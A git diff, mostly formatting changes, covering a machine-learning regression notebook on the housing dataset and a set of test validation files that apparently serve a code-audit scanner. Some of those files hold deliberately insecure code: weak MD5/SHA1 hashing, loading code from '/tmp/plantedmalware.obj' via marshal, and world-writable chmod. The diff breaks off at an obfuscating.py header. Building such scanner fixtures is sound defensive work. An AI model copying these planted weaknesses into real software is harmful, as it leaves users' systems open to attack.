-    "python-machine-learning-book-2nd-edition"
-    "/master/code/ch10/housing.data.txt",
-    header=None,
-    sep="\s+",
-)
-
-df.columns = [
-    "CRIM",
-    "ZN",
-    "INDUS",
-    "CHAS",
-    "NOX",
-    "RM",
-    "AGE",
-    "DIS",
-    "RAD",
-    "TAX",
-    "PTRATIO",
-    "B",
-    "LSTAT",
-    "MEDV",
-]
+
+
+df = pd.read_csv('https://raw.githubusercontent.com/rasbt/'
+                 'python-machine-learning-book-2nd-edition'
+                 '/master/code/ch10/housing.data.txt',
+                 header=None,
+                 sep='\s+')
+
+df.columns = ['CRIM', 'ZN', 'INDUS', 'CHAS', 
+              'NOX', 'RM', 'AGE', 'DIS', 'RAD', 
+              'TAX', 'PTRATIO', 'B', 'LSTAT', 'MEDV']
 df.head()
 
 
-#
+# 
 # ### Note:
-#
-#
+# 
+# 
 # You can find a copy of the housing dataset (and all other datasets used in this book) in the code bundle of this book, which you can use if you are working offline or the UCI server at https://archive.ics.uci.edu/ml/machine-learning-databases/housing/housing.data is temporarily unavailable. For instance, to load the housing dataset from a local directory, you can replace the lines
 # df = pd.read_csv('https://archive.ics.uci.edu/ml/'
 #                  'machine-learning-databases'
 #                  '/housing/housing.data',
 #                  sep='\s+')
-# in the following code example by
+# in the following code example by 
 # df = pd.read_csv('./housing.data',
 #                  sep='\s+')
 
@@ -145,7 +146,12 @@
 # ## Visualizing the important characteristics of a dataset
 
 
-cols = ["LSTAT", "INDUS", "NOX", "RM", "MEDV"]
+
+
+
+
+
+cols = ['LSTAT', 'INDUS', 'NOX', 'RM', 'MEDV']
 
 sns.pairplot(df[cols], size=2.5)
 plt.tight_layout()
@@ -153,24 +159,27 @@
 plt.show()
 
 
+
+
+
+
 cm = np.corrcoef(df[cols].values.T)
-# sns.set(font_scale=1.5)
-hm = sns.heatmap(
-    cm,
-    cbar=True,
-    annot=True,
-    square=True,
-    fmt=".2f",
-    annot_kws={"size": 15},
-    yticklabels=cols,
-    xticklabels=cols,
-)
+#sns.set(font_scale=1.5)
+hm = sns.heatmap(cm,
+                 cbar=True,
+                 annot=True,
+                 square=True,
+                 fmt='.2f',
+                 annot_kws={'size': 15},
+                 yticklabels=cols,
+                 xticklabels=cols)
 
 plt.tight_layout()
 # plt.savefig('images/10_04.png', dpi=300)
 plt.show()
 
 
+
 # # Implementing an ordinary least squares linear regression model
 
 # ...
@@ -178,6 +187,7 @@
 # ## Solving regression for regression parameters with gradient descent
 
 
+
 class LinearRegressionGD(object):
 
     def __init__(self, eta=0.001, n_iter=20):
@@ -190,7 +200,7 @@ def fit(self, X, y):
 
         for i in range(self.n_iter):
             output = self.net_input(X)
-            errors = y - output
+            errors = (y - output)
             self.w_[1:] += self.eta * X.T.dot(errors)
             self.w_[0] += self.eta * errors.sum()
             cost = (errors**2).sum() / 2.0
@@ -204,8 +214,14 @@ def predict(self, X):
         return self.net_input(X)
 
 
-X = df[["RM"]].values
-y = df["MEDV"].values
+
+
+X = df[['RM']].values
+y = df['MEDV'].values
+
+
+
+
 
 
 sc_x = StandardScaler()
@@ -214,34 +230,46 @@ def predict(self, X):
 y_std = sc_y.fit_transform(y[:, np.newaxis]).flatten()
 
 
+
+
 lr = LinearRegressionGD()
 lr.fit(X_std, y_std)
 
 
-plt.plot(range(1, lr.n_iter + 1), lr.cost_)
-plt.ylabel("SSE")
-plt.xlabel("Epoch")
-# plt.tight_layout()
-# plt.savefig('images/10_05.png', dpi=300)
+
+
+plt.plot(range(1, lr.n_iter+1), lr.cost_)
+plt.ylabel('SSE')
+plt.xlabel('Epoch')
+#plt.tight_layout()
+#plt.savefig('images/10_05.png', dpi=300)
 plt.show()
 
 
+
+
 def lin_regplot(X, y, model):
-    plt.scatter(X, y, c="steelblue", edgecolor="white", s=70)
-    plt.plot(X, model.predict(X), color="black", lw=2)
-    return
+    plt.scatter(X, y, c='steelblue', edgecolor='white', s=70)
+    plt.plot(X, model.predict(X), color='black', lw=2)    
+    return 
+
+
 
 
 lin_regplot(X_std, y_std, lr)
-plt.xlabel("Average number of rooms [RM] (standardized)")
-plt.ylabel("Price in $1000s [MEDV] (standardized)")
+plt.xlabel('Average number of rooms [RM] (standardized)')
+plt.ylabel('Price in $1000s [MEDV] (standardized)')
 
-# plt.savefig('images/10_06.png', dpi=300)
+#plt.savefig('images/10_06.png', dpi=300)
 plt.show()
 
 
-print("Slope: %.3f" % lr.w_[1])
-print("Intercept: %.3f" % lr.w_[0])
+
+
+print('Slope: %.3f' % lr.w_[1])
+print('Intercept: %.3f' % lr.w_[0])
+
+
 
 
 num_rooms_std = sc_x.transform(np.array([[5.0]]))
@@ -249,48 +277,58 @@ def lin_regplot(X, y, model):
 print("Price in $1000s: %.3f" % sc_y.inverse_transform(price_std))
 
 
+
 # ## Estimating the coefficient of a regression model via scikit-learn
 
 
+
+
+
+
+
 slr = LinearRegression()
 slr.fit(X, y)
 y_pred = slr.predict(X)
-print("Slope: %.3f" % slr.coef_[0])
-print("Intercept: %.3f" % slr.intercept_)
+print('Slope: %.3f' % slr.coef_[0])
+print('Intercept: %.3f' % slr.intercept_)
+
+
 
 
 lin_regplot(X, y, slr)
-plt.xlabel("Average number of rooms [RM]")
-plt.ylabel("Price in $1000s [MEDV]")
+plt.xlabel('Average number of rooms [RM]')
+plt.ylabel('Price in $1000s [MEDV]')
 
-# plt.savefig('images/10_07.png', dpi=300)
+#plt.savefig('images/10_07.png', dpi=300)
 plt.show()
 
 
 # **Normal Equations** alternative:
 
 
+
 # adding a column vector of "ones"
 Xb = np.hstack((np.ones((X.shape[0], 1)), X))
 w = np.zeros(X.shape[1])
 z = np.linalg.inv(np.dot(Xb.T, Xb))
 w = np.dot(z, np.dot(Xb.T, y))
 
-print("Slope: %.3f" % w[1])
-print("Intercept: %.3f" % w[0])
+print('Slope: %.3f' % w[1])
+print('Intercept: %.3f' % w[0])
+
 
 
 # # Fitting a robust regression model using RANSAC
 
 
-ransac = RANSACRegressor(
-    LinearRegression(),
-    max_trials=100,
-    min_samples=50,
-    loss="absolute_loss",
-    residual_threshold=5.0,
-    random_state=0,
-)
+
+
+ransac = RANSACRegressor(LinearRegression(), 
+                         max_trials=100, 
+                         min_samples=50, 
+                         loss='absolute_loss', 
+                         residual_threshold=5.0, 
+                         random_state=0)
 
 
 ransac.fit(X, y)
@@ -300,42 +338,40 @@ def lin_regplot(X, y, model):
 
 line_X = np.arange(3, 10, 1)
 line_y_ransac = ransac.predict(line_X[:, np.newaxis])
-plt.scatter(
-    X[inlier_mask],
-    y[inlier_mask],
-    c="steelblue",
-    edgecolor="white",
-    marker="o",
-    label="Inliers",
-)
-plt.scatter(
-    X[outlier_mask],
-    y[outlier_mask],
-    c="limegreen",
-    edgecolor="white",
-    marker="s",
-    label="Outliers",
-)
-plt.plot(line_X, line_y_ransac, color="black", lw=2)
-plt.xlabel("Average number of rooms [RM]")
-plt.ylabel("Price in $1000s [MEDV]")
-plt.legend(loc="upper left")
-
-# plt.savefig('images/10_08.png', dpi=300)
+plt.scatter(X[inlier_mask], y[inlier_mask],
+            c='steelblue', edgecolor='white', 
+            marker='o', label='Inliers')
+plt.scatter(X[outlier_mask], y[outlier_mask],
+            c='limegreen', edgecolor='white', 
+            marker='s', label='Outliers')
+plt.plot(line_X, line_y_ransac, color='black', lw=2)   
+plt.xlabel('Average number of rooms [RM]')
+plt.ylabel('Price in $1000s [MEDV]')
+plt.legend(loc='upper left')
+
+#plt.savefig('images/10_08.png', dpi=300)
 plt.show()
 
 
-print("Slope: %.3f" % ransac.estimator_.coef_[0])
-print("Intercept: %.3f" % ransac.estimator_.intercept_)
+
+
+print('Slope: %.3f' % ransac.estimator_.coef_[0])
+print('Intercept: %.3f' % ransac.estimator_.intercept_)
+
 
 
 # # Evaluating the performance of linear regression models
 
 
+
+
 X = df.iloc[:, :-1].values
-y = df["MEDV"].values
+y = df['MEDV'].values
+
+X_train, X_test, y_train, y_test = train_test_split(
+    X, y, test_size=0.3, random_state=0)
+
 
-X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=0)
 
 
 slr = LinearRegression()
@@ -345,29 +381,36 @@ def lin_regplot(X, y, model):
 y_test_pred = slr.predict(X_test)
 
 
+
+
+
 ary = np.array(range(100000))
 
 
-plt.scatter(
-    y_train_pred,
-    y_train_pred - y_train,
-    c="steelblue",
-    marker="o",
-    edgecolor="white",
-    label="Training data",
-)
-plt.scatter(
-    y_test_pred,
-    y_test_pred - y_test,
-    c="limegreen",
-    marker="s",
-    edgecolor="white",
-    label="Test data",
-)
-plt.xlabel("Predicted values")
-plt.ylabel("Residuals")
-plt.legend(loc="upper left")
-plt.hlines(y=0, xmin=-10, xmax=50, color="black", lw=2)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+plt.scatter(y_train_pred,  y_train_pred - y_train,
+            c='steelblue', marker='o', edgecolor='white',
+            label='Training data')
+plt.scatter(y_test_pred,  y_test_pred - y_test,
+            c='limegreen', marker='s', edgecolor='white',
+            label='Test data')
+plt.xlabel('Predicted values')
+plt.ylabel('Residuals')
+plt.legend(loc='upper left')
+plt.hlines(y=0, xmin=-10, xmax=50, color='black', lw=2)
 plt.xlim([-10, 50])
 plt.tight_layout()
 
@@ -375,22 +418,23 @@ def lin_regplot(X, y, model):
 plt.show()
 
 
-print(
-    "MSE train: %.3f, test: %.3f"
-    % (
+
+
+
+print('MSE train: %.3f, test: %.3f' % (
         mean_squared_error(y_train, y_train_pred),
-        mean_squared_error(y_test, y_test_pred),
-    )
-)
-print(
-    "R^2 train: %.3f, test: %.3f"
-    % (r2_score(y_train, y_train_pred), r2_score(y_test, y_test_pred))
-)
+        mean_squared_error(y_test, y_test_pred)))
+print('R^2 train: %.3f, test: %.3f' % (
+        r2_score(y_train, y_train_pred),
+        r2_score(y_test, y_test_pred)))
+
 
 
 # # Using regularized methods for regression
 
 
+
+
 lasso = Lasso(alpha=0.1)
 lasso.fit(X_train, y_train)
 y_train_pred = lasso.predict(X_train)
@@ -398,45 +442,54 @@ def lin_regplot(X, y, model):
 print(lasso.coef_)
 
 
-print(
-    "MSE train: %.3f, test: %.3f"
-    % (
+
+
+print('MSE train: %.3f, test: %.3f' % (
         mean_squared_error(y_train, y_train_pred),
-        mean_squared_error(y_test, y_test_pred),
-    )
-)
-print(
-    "R^2 train: %.3f, test: %.3f"
-    % (r2_score(y_train, y_train_pred), r2_score(y_test, y_test_pred))
-)
+        mean_squared_error(y_test, y_test_pred)))
+print('R^2 train: %.3f, test: %.3f' % (
+        r2_score(y_train, y_train_pred),
+        r2_score(y_test, y_test_pred)))
 
 
 # Ridge regression:
 
 
+
 ridge = Ridge(alpha=1.0)
 
 
 # LASSO regression:
 
 
+
 lasso = Lasso(alpha=1.0)
 
 
 # Elastic Net regression:
 
 
+
 elanet = ElasticNet(alpha=1.0, l1_ratio=0.5)
 
 
+
 # # Turning a linear regression model into a curve - polynomial regression
 
 
-X = np.array([258.0, 270.0, 294.0, 320.0, 342.0, 368.0, 396.0, 446.0, 480.0, 586.0])[
-    :, np.newaxis
-]
 
-y = np.array([236.4, 234.4, 252.8, 298.6, 314.2, 342.2, 360.8, 368.0, 391.2, 390.8])
+X = np.array([258.0, 270.0, 294.0, 
+              320.0, 342.0, 368.0, 
+              396.0, 446.0, 480.0, 586.0])\
+             [:, np.newaxis]
+
+y = np.array([236.4, 234.4, 252.8, 
+              298.6, 314.2, 342.2, 
+              360.8, 368.0, 391.2,
+              390.8])
+
+
+
 
 
 lr = LinearRegression()
@@ -445,6 +498,8 @@ def lin_regplot(X, y, model):
 X_quad = quadratic.fit_transform(X)
 
 
+
+
 # fit linear features
 lr.fit(X, y)
 X_fit = np.arange(250, 600, 10)[:, np.newaxis]
@@ -455,35 +510,39 @@ def lin_regplot(X, y, model):
 y_quad_fit = pr.predict(quadratic.fit_transform(X_fit))
 
 # plot results
-plt.scatter(X, y, label="training points")
-plt.plot(X_fit, y_lin_fit, label="linear fit", linestyle="--")
-plt.plot(X_fit, y_quad_fit, label="quadratic fit")
-plt.legend(loc="upper left")
+plt.scatter(X, y, label='training points')
+plt.plot(X_fit, y_lin_fit, label='linear fit', linestyle='--')
+plt.plot(X_fit, y_quad_fit, label='quadratic fit')
+plt.legend(loc='upper left')
 
 plt.tight_layout()
-# plt.savefig('images/10_10.png', dpi=300)
+#plt.savefig('images/10_10.png', dpi=300)
 plt.show()
 
 
+
+
 y_lin_pred = lr.predict(X)
 y_quad_pred = pr.predict(X_quad)
 
 
-print(
-    "Training MSE linear: %.3f, quadratic: %.3f"
-    % (mean_squared_error(y, y_lin_pred), mean_squared_error(y, y_quad_pred))
-)
-print(
-    "Training R^2 linear: %.3f, quadratic: %.3f"
-    % (r2_score(y, y_lin_pred), r2_score(y, y_quad_pred))
-)
+
+
+print('Training MSE linear: %.3f, quadratic: %.3f' % (
+        mean_squared_error(y, y_lin_pred),
+        mean_squared_error(y, y_quad_pred)))
+print('Training R^2 linear: %.3f, quadratic: %.3f' % (
+        r2_score(y, y_lin_pred),
+        r2_score(y, y_quad_pred)))
+
 
 
 # ## Modeling nonlinear relationships in the Housing Dataset
 
 
-X = df[["LSTAT"]].values
-y = df["MEDV"].values
+
+X = df[['LSTAT']].values
+y = df['MEDV'].values
 
 regr = LinearRegression()
 
@@ -510,76 +569,70 @@ def lin_regplot(X, y, model):
 
 
 # plot results
-plt.scatter(X, y, label="training points", color="lightgray")
-
-plt.plot(
-    X_fit,
-    y_lin_fit,
-    label="linear (d=1), $R^2=%.2f$" % linear_r2,
-    color="blue",
-    lw=2,
-    linestyle=":",
-)
-
-plt.plot(
-    X_fit,
-    y_quad_fit,
-    label="quadratic (d=2), $R^2=%.2f$" % quadratic_r2,
-    color="red",
-    lw=2,
-    linestyle="-",
-)
-
-plt.plot(
-    X_fit,
-    y_cubic_fit,
-    label="cubic (d=3), $R^2=%.2f$" % cubic_r2,
-    color="green",
-    lw=2,
-    linestyle="--",
-)
-
-plt.xlabel("% lower status of the population [LSTAT]")
-plt.ylabel("Price in $1000s [MEDV]")
-plt.legend(loc="upper right")
-
-# plt.savefig('images/10_11.png', dpi=300)
+plt.scatter(X, y, label='training points', color='lightgray')
+
+plt.plot(X_fit, y_lin_fit, 
+         label='linear (d=1), $R^2=%.2f$' % linear_r2, 
+         color='blue', 
+         lw=2, 
+         linestyle=':')
+
+plt.plot(X_fit, y_quad_fit, 
+         label='quadratic (d=2), $R^2=%.2f$' % quadratic_r2,
+         color='red', 
+         lw=2,
+         linestyle='-')
+
+plt.plot(X_fit, y_cubic_fit, 
+         label='cubic (d=3), $R^2=%.2f$' % cubic_r2,
+         color='green', 
+         lw=2, 
+         linestyle='--')
+
+plt.xlabel('% lower status of the population [LSTAT]')
+plt.ylabel('Price in $1000s [MEDV]')
+plt.legend(loc='upper right')
+
+#plt.savefig('images/10_11.png', dpi=300)
 plt.show()
 
 
 # Transforming the dataset:
 
 
-X = df[["LSTAT"]].values
-y = df["MEDV"].values
+
+X = df[['LSTAT']].values
+y = df['MEDV'].values
 
 # transform features
 X_log = np.log(X)
 y_sqrt = np.sqrt(y)
 
 # fit features
-X_fit = np.arange(X_log.min() - 1, X_log.max() + 1, 1)[:, np.newaxis]
+X_fit = np.arange(X_log.min()-1, X_log.max()+1, 1)[:, np.newaxis]
 
 regr = regr.fit(X_log, y_sqrt)
 y_lin_fit = regr.predict(X_fit)
 linear_r2 = r2_score(y_sqrt, regr.predict(X_log))
 
 # plot results
-plt.scatter(X_log, y_sqrt, label="training points", color="lightgray")
+plt.scatter(X_log, y_sqrt, label='training points', color='lightgray')
 
-plt.plot(
-    X_fit, y_lin_fit, label="linear (d=1), $R^2=%.2f$" % linear_r2, color="blue", lw=2
-)
+plt.plot(X_fit, y_lin_fit, 
+         label='linear (d=1), $R^2=%.2f$' % linear_r2, 
+         color='blue', 
+         lw=2)
 
-plt.xlabel("log(% lower status of the population [LSTAT])")
-plt.ylabel("$\sqrt{Price \; in \; \$1000s \; [MEDV]}$")
-plt.legend(loc="lower left")
+plt.xlabel('log(% lower status of the population [LSTAT])')
+plt.ylabel('$\sqrt{Price \; in \; \$1000s \; [MEDV]}$')
+plt.legend(loc='lower left')
 
 plt.tight_layout()
-# plt.savefig('images/10_12.png', dpi=300)
+#plt.savefig('images/10_12.png', dpi=300)
 plt.show()
 
 
+
 # # Dealing with nonlinear relationships using random forests
 
 # ...
@@ -587,8 +640,10 @@ def lin_regplot(X, y, model):
 # ## Decision tree regression
 
 
-X = df[["LSTAT"]].values
-y = df["MEDV"].values
+
+
+X = df[['LSTAT']].values
+y = df['MEDV'].values
 
 tree = DecisionTreeRegressor(max_depth=3)
 tree.fit(X, y)
@@ -596,66 +651,66 @@ def lin_regplot(X, y, model):
 sort_idx = X.flatten().argsort()
 
 lin_regplot(X[sort_idx], y[sort_idx], tree)
-plt.xlabel("% lower status of the population [LSTAT]")
-plt.ylabel("Price in $1000s [MEDV]")
-# plt.savefig('images/10_13.png', dpi=300)
+plt.xlabel('% lower status of the population [LSTAT]')
+plt.ylabel('Price in $1000s [MEDV]')
+#plt.savefig('images/10_13.png', dpi=300)
 plt.show()
 
 
+
 # ## Random forest regression
 
 
+
 X = df.iloc[:, :-1].values
-y = df["MEDV"].values
+y = df['MEDV'].values
+
+X_train, X_test, y_train, y_test = train_test_split(
+    X, y, test_size=0.4, random_state=1)
 
-X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.4, random_state=1)
 
 
-forest = RandomForestRegressor(
-    n_estimators=1000, criterion="mse", random_state=1, n_jobs=-1
-)
+
+
+forest = RandomForestRegressor(n_estimators=1000, 
+                               criterion='mse', 
+                               random_state=1, 
+                               n_jobs=-1)
 forest.fit(X_train, y_train)
 y_train_pred = forest.predict(X_train)
 y_test_pred = forest.predict(X_test)
 
-print(
-    "MSE train: %.3f, test: %.3f"
-    % (
+print('MSE train: %.3f, test: %.3f' % (
         mean_squared_error(y_train, y_train_pred),
-        mean_squared_error(y_test, y_test_pred),
-    )
-)
-print(
-    "R^2 train: %.3f, test: %.3f"
-    % (r2_score(y_train, y_train_pred), r2_score(y_test, y_test_pred))
-)
-
-
-plt.scatter(
-    y_train_pred,
-    y_train_pred - y_train,
-    c="steelblue",
-    edgecolor="white",
-    marker="o",
-    s=35,
-    alpha=0.9,
-    label="training data",
-)
-plt.scatter(
-    y_test_pred,
-    y_test_pred - y_test,
-    c="limegreen",
-    edgecolor="white",
-    marker="s",
-    s=35,
-    alpha=0.9,
-    label="test data",
-)
-
-plt.xlabel("Predicted values")
-plt.ylabel("Residuals")
-plt.legend(loc="upper left")
-plt.hlines(y=0, xmin=-10, xmax=50, lw=2, color="black")
+        mean_squared_error(y_test, y_test_pred)))
+print('R^2 train: %.3f, test: %.3f' % (
+        r2_score(y_train, y_train_pred),
+        r2_score(y_test, y_test_pred)))
+
+
+
+
+plt.scatter(y_train_pred,  
+            y_train_pred - y_train, 
+            c='steelblue',
+            edgecolor='white',
+            marker='o', 
+            s=35,
+            alpha=0.9,
+            label='training data')
+plt.scatter(y_test_pred,  
+            y_test_pred - y_test, 
+            c='limegreen',
+            edgecolor='white',
+            marker='s', 
+            s=35,
+            alpha=0.9,
+            label='test data')
+
+plt.xlabel('Predicted values')
+plt.ylabel('Residuals')
+plt.legend(loc='upper left')
+plt.hlines(y=0, xmin=-10, xmax=50, lw=2, color='black')
 plt.xlim([-10, 50])
 plt.tight_layout()
 
@@ -663,10 +718,15 @@ def lin_regplot(X, y, model):
 plt.show()
 
 
+
 # # Summary
 
 # ...
 
 # ---
-#
+# 
 # Readers may ignore the next cell.
+
+
+
+
diff --git a/tests/validationfiles/gzip.py b/tests/validationfiles/gzip.py
index 5b3d3df..fc5bd88 100644
--- a/tests/validationfiles/gzip.py
+++ b/tests/validationfiles/gzip.py
@@ -1,7 +1,7 @@
 import gzip
 
 content = b"Lots of content here"
-with gzip.open("/home/joe/file.txt.gz", "wb") as f:
+with gzip.open('/home/joe/file.txt.gz', 'wb') as f:
     f.write(content)
 
 
@@ -14,8 +14,8 @@
 
 print(f"Content read from the file: '{read_data}'")
 
-# now with the class function
-with bz2.BZ2File("demo.bz2", mode="r") as f:
+#now with the class function
+with bz2.BZ2File("demo.bz2", mode='r') as f:
     content = f.read()
 
 import lzma
@@ -27,23 +27,24 @@
 print(f"Original data: {data}\n")
 
 # Compress and write data to a file
-with lzma.open(compressed_filename, "wb") as f:
+with lzma.open(compressed_filename, 'wb') as f:
     f.write(data)
 
 print("Data has been compressed and written to 'example.xz'.")
 
 # Decompress and read data from the file
-with lzma.open(compressed_filename, "rb") as f:
+with lzma.open(compressed_filename, 'rb') as f:
     decompressed_data = f.read()
 
 print(f"Decompressed data: {decompressed_data}")
 
 # You would need to manually delete 'example.xz' after running this code.
 
-# Reading using lzma.LZMAFILE class
+#Reading using lzma.LZMAFILE class
 
 
-with lzma.LZMAFile("demo.xz", mode="r") as f:
+with lzma.LZMAFile("demo.xz", mode='r') as f:
     content = f.read()
 
 print(f"Content read from the file: {content.decode()}")
+
diff --git a/tests/validationfiles/hashcheck.py b/tests/validationfiles/hashcheck.py
index 8393d88..43c4ad8 100644
--- a/tests/validationfiles/hashcheck.py
+++ b/tests/validationfiles/hashcheck.py
@@ -1,57 +1,56 @@
-"""Check on insecure hash usage"""
-
-import hashlib
+"""Check on insecure hash usage """
 
+import hashlib 
 
 def calculate_md5_hash(input_string):
-    """
-    Calculates the MD5 hash of a given string.
+  """
+  Calculates the MD5 hash of a given string.
 
-    Args:
-      input_string: The string to be hashed.
+  Args:
+    input_string: The string to be hashed.
 
-    Returns:
-      A hexadecimal string representing the MD5 hash.
-    """
-    # Encode the input string to bytes, as hashlib functions require bytes
-    encoded_string = input_string.encode("utf-8")
+  Returns:
+    A hexadecimal string representing the MD5 hash.
+  """
+  # Encode the input string to bytes, as hashlib functions require bytes
+  encoded_string = input_string.encode('utf-8')
 
-    # Create an MD5 hash object
-    md5_hash_object = hashlib.md5()
-    sha1_hash_object = hashlib.sha1()
+  # Create an MD5 hash object
+  md5_hash_object = hashlib.md5()
+  sha1_hash_object = hashlib.sha1()
 
-    # Update the hash object with the encoded string
-    md5_hash_object.update(encoded_string)
 
-    # Get the hexadecimal representation of the hash
-    hex_digest = md5_hash_object.hexdigest()
+  # Update the hash object with the encoded string
+  md5_hash_object.update(encoded_string)
 
-    return hex_digest
+  # Get the hexadecimal representation of the hash
+  hex_digest = md5_hash_object.hexdigest()
 
+  return hex_digest
 
-from hashlib import sha1 as tooweak
 
+from hashlib import sha1 as tooweak
 
 def calculate_hash(input_string):
-    """
-    Calculates the MD5 hash of a given string.
+  """
+  Calculates the MD5 hash of a given string.
 
-    Args:
-      input_string: The string to be hashed.
+  Args:
+    input_string: The string to be hashed.
 
-    Returns:
-      A hexadecimal string representing the MD5 hash.
-    """
-    # Encode the input string to bytes, as hashlib functions require bytes
-    encoded_string = input_string.encode("utf-8")
+  Returns:
+    A hexadecimal string representing the MD5 hash.
+  """
+  # Encode the input string to bytes, as hashlib functions require bytes
+  encoded_string = input_string.encode('utf-8')
 
-    # Create an MD5 hash object
-    sha1_hash_object = tooweak()
+  # Create an MD5 hash object
+  sha1_hash_object = tooweak()
 
-    # Update the hash object with the encoded string
-    sha1_hash_object.update(encoded_string)
+  # Update the hash object with the encoded string
+  sha1_hash_object.update(encoded_string)
 
-    # Get the hexadecimal representation of the hash
-    hex_digest = sha1_hash_object.hexdigest()
+  # Get the hexadecimal representation of the hash
+  hex_digest = sha1_hash_object.hexdigest()
 
-    return hex_digest
+  return hex_digest
diff --git a/tests/validationfiles/httpserver.py b/tests/validationfiles/httpserver.py
index 4d8371b..b4a47f0 100644
--- a/tests/validationfiles/httpserver.py
+++ b/tests/validationfiles/httpserver.py
@@ -1,27 +1,24 @@
 from http.server import BaseHTTPRequestHandler, HTTPServer
 
-
 # Define a custom request handler
 class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
     """
     A simple HTTP request handler that responds to GET requests.
     """
-
     def do_GET(self):
         """
         Handles GET requests by sending a 200 OK response
         and "Hello, World!" as the body.
         """
         self.send_response(200)  # Send HTTP status code 200 (OK)
-        self.send_header("Content-type", "text/html")  # Set the content type header
-        self.end_headers()  # End the headers section
+        self.send_header('Content-type', 'text/html') # Set the content type header
+        self.end_headers() # End the headers section
 
         # The message to send back to the client
         message = "Hello, World!"
         # Write the message to the response body, encoded as bytes
         self.wfile.write(bytes(message, "utf8"))
 
-
 # The function to run the HTTP server
 def run(server_class=HTTPServer, handler_class=BaseHTTPRequestHandler):
     """
@@ -31,12 +28,8 @@ def run(server_class=HTTPServer, handler_class=BaseHTTPRequestHandler):
         server_class: The server class to use (default: HTTPServer).
         handler_class: The handler class to use (default: BaseHTTPRequestHandler).
     """
-    server_address = (
-        "",
-        8000,
-    )  # Server will listen on all available interfaces on port 8000
-    httpd = server_class(
-        server_address, handler_class
-    )  # Create an instance of the HTTP server
+    server_address = ('', 8000) # Server will listen on all available interfaces on port 8000
+    httpd = server_class(server_address, handler_class) # Create an instance of the HTTP server
     print(f"Starting httpd server on port {server_address[1]}...")
-    httpd.serve_forever()  # Start the server and keep it running indefinitely
+    httpd.serve_forever() # Start the server and keep it running indefinitely
+    
\ No newline at end of file
diff --git a/tests/validationfiles/inputstatement.py b/tests/validationfiles/inputstatement.py
index 626d22f..05fccc0 100644
--- a/tests/validationfiles/inputstatement.py
+++ b/tests/validationfiles/inputstatement.py
@@ -2,7 +2,6 @@
 Mind 100% sanitizing is often impossible - so there is always a risk.
 """
 
-
 def greet_user():
     name = input("What is your name? ")
     print(f"Hello, {name}!")
diff --git a/tests/validationfiles/marshal.py b/tests/validationfiles/marshal.py
index 842a51f..5987163 100644
--- a/tests/validationfiles/marshal.py
+++ b/tests/validationfiles/marshal.py
@@ -2,7 +2,6 @@
 import os
 import sys
 
-
 def load_marshalled_data(filepath: str, allow_code: bool = False):
     """
     Loads data from a marshalled file using marshal.load().
@@ -27,28 +26,22 @@ def load_marshalled_data(filepath: str, allow_code: bool = False):
     """
     if not os.path.exists(filepath):
         raise FileNotFoundError(f"Error: File not found at '{filepath}'")
-
-    nastyobjects = marshal.loads("/tmp/plantedmalware.obj", allow_code=True)
+     
+    nastyobjects = marshal.loads('/tmp/plantedmalware.obj', allow_code=True)
     print(nastyobjects)
 
     try:
-        with open(filepath, "rb") as f:
+        with open(filepath, 'rb') as f:
             # The allow_code parameter is passed directly to marshal.load()
             loaded_object = marshal.load(f, allow_code=allow_code)
         return loaded_object
     except ValueError as e:
-        print(
-            f"Error loading marshalled data: {e}. "
-            f"This might be due to 'allow_code=False' and the file containing code objects.",
-            file=sys.stderr,
-        )
+        print(f"Error loading marshalled data: {e}. "
+              f"This might be due to 'allow_code=False' and the file containing code objects.", file=sys.stderr)
         raise
     except EOFError:
         print(f"Error: File '{filepath}' is empty or truncated.", file=sys.stderr)
         raise
     except Exception as e:
-        print(
-            f"An unexpected error occurred while loading '{filepath}': {e}",
-            file=sys.stderr,
-        )
+        print(f"An unexpected error occurred while loading '{filepath}': {e}", file=sys.stderr)
         raise
diff --git a/tests/validationfiles/modulecheck.py b/tests/validationfiles/modulecheck.py
index 1b454b0..4fd5b40 100644
--- a/tests/validationfiles/modulecheck.py
+++ b/tests/validationfiles/modulecheck.py
@@ -1,18 +1,14 @@
 """Sample file for module check"""
 
-import linkaudit  # has no data in OSV DB
-import pandas  # has some minor data in OSV
-import requests  # has lots of OSV data
-
-# import numpy #has lots of OSV data! (a lot!!)
+import linkaudit #has no data in OSV DB
+import pandas #has some minor data in OSV
+import requests #has lots of OSV data
+#import numpy #has lots of OSV data! (a lot!!) 
 
 import os
 import random
 import csv
 
-
 def donothing():
-    print("no way!")
-    os.chmod(
-        "ooooooooooooono.txt", 0x777
-    )  # this will give an alert on codeaudit filescan!
+    print('no way!')
+    os.chmod('ooooooooooooono.txt',0x777) #this will give an alert on codeaudit filescan!
\ No newline at end of file
diff --git a/tests/validationfiles/multiprocessing.py b/tests/validationfiles/multiprocessing.py
index da3593c..c428f1a 100644
--- a/tests/validationfiles/multiprocessing.py
+++ b/tests/validationfiles/multiprocessing.py
@@ -1,52 +1,47 @@
+
 import multiprocessing
 import time
 
-
 def sender_process(connection, message):
     """
     This function runs in a separate process and sends a message
     through the provided Connection object.
     """
     print(f"Sender process: Sending '{message}'")
-    connection.send(message)  # Send the message through the connection
-    connection.close()  # Close the connection after sending
+    connection.send(message) # Send the message through the connection
+    connection.close() # Close the connection after sending
     print("Sender process: Message sent and connection closed.")
 
-
 def receiver_process(connection):
     """
-    This function runs in a separate process and receives data
+    This function runs in a separate process and receives data    
     """
-    print("Receiver process: Waiting to receive data...")
+    print("Receiver process: Waiting to receive data...")    
     received_data = connection.recv()
     print(f"Receiver process: Received '{received_data}'")
-    connection.close()  # Close the connection after receiving
+    connection.close() # Close the connection after receiving
     print("Receiver process: Connection closed.")
 
-
 from multiprocessing import Process, Pipe
 
 
+
 def f(conn):
-    conn.send([42, None, "hello"])
+    conn.send([42, None, 'hello'])
     conn.close()
 
-
 def check_again():
     parent_conn, child_conn = Pipe()
     p = Process(target=f, args=(child_conn,))
     p.start()
-    print(parent_conn.recv())  # prints "[42, None, 'hello']"
+    print(parent_conn.recv())   # prints "[42, None, 'hello']"
     p.join()
 
-
 from multiprocessing.connection import Connection
 
-
 def receive_data(conn: Connection):
     data = conn.recv()
     return data
 
-
 def not_connection(obj):
-    return obj.recv()
+    return obj.recv()
\ No newline at end of file
diff --git a/tests/validationfiles/obfuscating.py b/tests/validationfiles/obfuscating.py
index 9d1c1a4..b9db1c4 100644
--- a/tests/validationfiles/obfuscating.py
+++ b/tests/validationfiles/obfuscating.py
@@ -1,7 +1,6 @@
